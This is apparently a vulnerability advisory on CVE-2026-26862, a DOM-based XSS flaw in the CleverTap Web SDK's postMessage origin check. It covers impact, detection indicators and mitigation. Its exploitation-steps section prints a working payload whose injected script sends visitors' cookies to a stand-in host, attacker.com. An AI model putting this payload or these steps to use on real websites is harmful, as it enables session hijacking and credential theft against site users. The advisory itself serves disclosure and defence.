CVE-2026-26862: 
JavaScript vulnerability analysis and mitigation

Overview

CVE-2026-26862 is a DOM-based Cross-Site Scripting (XSS) vulnerability in the CleverTap Web SDK affecting versions 1.15.2 and earlier. The flaw exists in the Visual Builder module's window.postMessage origin validation, where an attacker can bypass the check by crafting a subdomain containing the string dashboard.clevertap.com. It was published on February 27, 2026, and has a CVSS v3.1 base score of 8.3 (High) (Feedly, GitHub Issue).

Technical details

The root cause is an insufficient origin validation mechanism (CWE-79: Cross-site Scripting; CWE-829: Inclusion of Functionality from Untrusted Control Sphere) in src/modules/visualBuilder/pageBuilder.js at lines 56–60. The code uses JavaScript's String.prototype.includes() to check whether event.origin contains dashboard.clevertap.com, rather than performing an exact-match or allowlist-based comparison. An attacker can craft a malicious origin such as https://attacker.dashboard.clevertap.com to satisfy this substring check. Once the origin check is bypassed, the renderVisualBuilder() function directly assigns attacker-controlled HTML from the postMessage payload to element.outerHTML without sanitization, enabling arbitrary JavaScript injection (GitHub Issue, pageBuilder.js Source).

Impact

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the context of any website loading the vulnerable CleverTap Web SDK. This can lead to theft of session tokens, authentication credentials, and other sensitive user data (high confidentiality impact), unauthorized DOM manipulation and form data tampering (high integrity impact), and limited availability disruption (low availability impact). Because the SDK is embedded in third-party websites, the attack surface extends to all end users visiting those sites (Feedly, GitHub Issue).

Exploitability

A proof-of-concept exploit payload is publicly available in GitHub Issue #442, demonstrating how to send a crafted postMessage from an attacker-controlled domain to trigger XSS. Exploitation requires user interaction (the victim must visit a page loading the vulnerable SDK while the attacker sends the malicious postMessage), but no privileges are required. The EPSS score is approximately 0.012% (very low), and there is no evidence of in-the-wild exploitation or CISA KEV catalog listing at this time (GitHub Issue, Feedly).

Exploitation steps

  1. Reconnaissance: Identify target websites that load the CleverTap Web SDK version ≤ 1.15.2 by inspecting page source or using browser developer tools to detect the clevertap-web-sdk script inclusion.
  2. Set up attacker infrastructure: Register or control a domain whose URL contains the substring dashboard.clevertap.com (e.g., https://attacker.dashboard.clevertap.com) to satisfy the flawed includes() origin check.
  3. Lure victim: Trick the target user into visiting a page on the attacker's domain (or any page the attacker controls) that opens or references the target website loading the vulnerable SDK — for example, via a phishing link that opens the target site in a new window.
  4. Send malicious postMessage: From the attacker's page, execute the following JavaScript to send a crafted postMessage to the target window:
window.postMessage({
  message: "Overlay",
  wzrk_id: "campaign_123",
  wzrk_pivot: "pivot_456",
  originUrl: "https://attacker.dashboard.clevertap.com",
  details: [{
    url: "https://target-website.com",
    selectorData: [{
      selector: "body",
      values: {
        editor: "html",
        html: { text: "<script>document.location='https://attacker.com/steal?c='+document.cookie</script>" }
      }
    }]
  }]
}, '*');
  1. Bypass origin validation: The SDK's includes() check passes because event.origin (https://attacker.dashboard.clevertap.com) contains the string dashboard.clevertap.com.
  2. Achieve XSS: The renderVisualBuilder() function assigns the attacker-supplied HTML directly to element.outerHTML, executing the injected script in the victim's browser context and enabling session hijacking or credential theft (GitHub Issue, pageBuilder.js Source).

Indicators of compromise

  • Network: Unexpected cross-origin postMessage events originating from domains containing dashboard.clevertap.com as a subdomain of an untrusted registrar; outbound requests from the victim's browser to unknown domains carrying cookie or session data in query parameters.
  • Logs: Browser console errors or warnings related to unexpected DOM mutations on pages loading the CleverTap SDK; Content Security Policy (CSP) violation reports triggered by injected inline scripts or external script loads.
  • File System / DOM: Unexpected modification of page DOM elements (e.g., body or other selectors) with injected <script> tags or event handler attributes not present in the original page source.
  • Process / Browser Behavior: Unusual redirects or network requests initiated immediately after page load on sites using the CleverTap SDK, particularly to domains not associated with CleverTap or the site operator (GitHub Issue).

Mitigation and workarounds

Upgrade the CleverTap Web SDK to a version after 1.15.2, which includes the fix introduced in pull request #417 (merged May 22, 2025) that strengthens origin validation in the handleMessageEvent function. As a workaround, implement strict Content Security Policy (CSP) headers on affected websites to restrict inline script execution and limit trusted message origins. Additionally, validate and sanitize all postMessage communications server-side or via a wrapper, and consider disabling the Visual Builder module if it is not actively in use (GitHub PR #417, Feedly).

Community reactions

The vulnerability was originally reported internally by Razorpay and addressed by CleverTap in PR #417 on May 22, 2025, before being publicly disclosed via GitHub Issue #442 on July 13, 2025 by researcher Mr-Neutr0n. The fix was noted as solving an XSS issue reported by Razorpay, indicating responsible disclosure through a business partner channel. There is limited broader media coverage, though the issue was indexed by multiple vulnerability tracking platforms including ENISA EUVD and Vulners shortly after CVE publication (GitHub PR #417, GitHub Issue).

Additional resources


Source: This report was generated using AI

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-gvwc-5hr5-44p8HIGH7.5
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-5jh3-w3fj-6758LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-5v8x-rm7w-m4c7LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-7pqp-3q23-mwr8LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-3qg4-7mq2-gm93MEDIUMN/A
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management